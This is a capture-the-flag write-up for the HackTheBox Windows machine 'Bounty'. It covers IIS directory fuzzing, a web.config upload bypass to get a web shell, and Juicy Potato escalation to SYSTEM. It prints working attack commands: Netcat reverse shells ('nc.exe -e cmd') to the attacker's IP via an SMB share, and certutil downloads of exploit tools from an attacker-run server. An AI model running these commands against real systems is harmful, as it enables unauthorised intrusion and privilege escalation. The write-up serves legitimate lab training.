> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md). # Bounty HackTheBox Writeup {% embed url="" %} {% hint style="warning" %} **Skills:** * IIS enumeration and directory fuzzing * IIS `web.config` upload bypass and web shell execution * Windows reverse shells over SMB * `SeImpersonatePrivilege` escalation with Juicy Potato {% endhint %} ## Reconnaissance Create a workspace for the machine.
The TTL of `128` indicates that the target is likely a Windows machine.
### Port scan {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts ``` {% endcode %} Port `80` is open.
Scan the web service in detail. {% code overflow="wrap" %} ```bash nmap -sCV -p80 10.129.6.49 -oN targeted ``` {% endcode %} The scan identifies Microsoft IIS HTTPD 7.5.
The page on port `80` only displays an image.
### Directory enumeration Fuzz the web server for files and directories. {% code overflow="wrap" %} ```bash gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r ``` {% endcode %} The scan reveals: * transfer.aspx * `uploadedfiles`
`transfer.aspx` accepts file uploads.
An `.aspx` command shell is rejected because its extension is not allowed. {% code overflow="wrap" %} ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` {% endcode %}
Search for `All file extensions for a Windows IIS reverse shell`. HackTricks describes several relevant extensions, including `.asp`, `.aspx`, `.config`, and `.php`. {% embed url="" %}
The [IIS web.config Upload Bypass](/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) allows execution through `.config` files. #### Execute .config files > If an application lets you upload a .config file into a served directory, an IIS web.config may be usable for code execution. One technique appends the payload inside an HTML comment: download an example here. > > More information and techniques to exploit this vulnerability here\[2] Create a `web.config` file with the following content. {% code overflow="wrap" %} ```bash ``` {% endcode %} The `.config` file uploads successfully.
Browse to `/uploadedfiles/web.config` to access the web shell. The file is deleted after a few seconds.
## Initial access Use the web shell to obtain a reverse shell. Place an executable Netcat in the current directory: ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Start a SMB server to share the file: ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Set your machine as a listener on port 443: ```bash sudo rlwrap nc -nvlp 443 ```
Execute the reverse shell command from the WebShell: {% code overflow="wrap" %} ```bash //10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443 http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443 ``` {% endcode %} The reverse shell connects successfully.
Retrieve the user flag.
## Privilege escalation The current user has the `SeImpersonatePrivilege` privilege. {% code overflow="wrap" %} ```bash whoami /priv ``` {% endcode %}
Download `JP.exe`. {% embed url="" %} Transfer it, together with Netcat, to the target machine. {% code overflow="wrap" %} ```bash certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe ``` {% endcode %}
Start a listener on port `1234`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 1234 ``` {% endcode %} Run Juicy Potato to execute `cmd.exe` as `SYSTEM`. {% code overflow="wrap" %} ```bash .\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234" ``` {% endcode %}
Retrieve the root flag.
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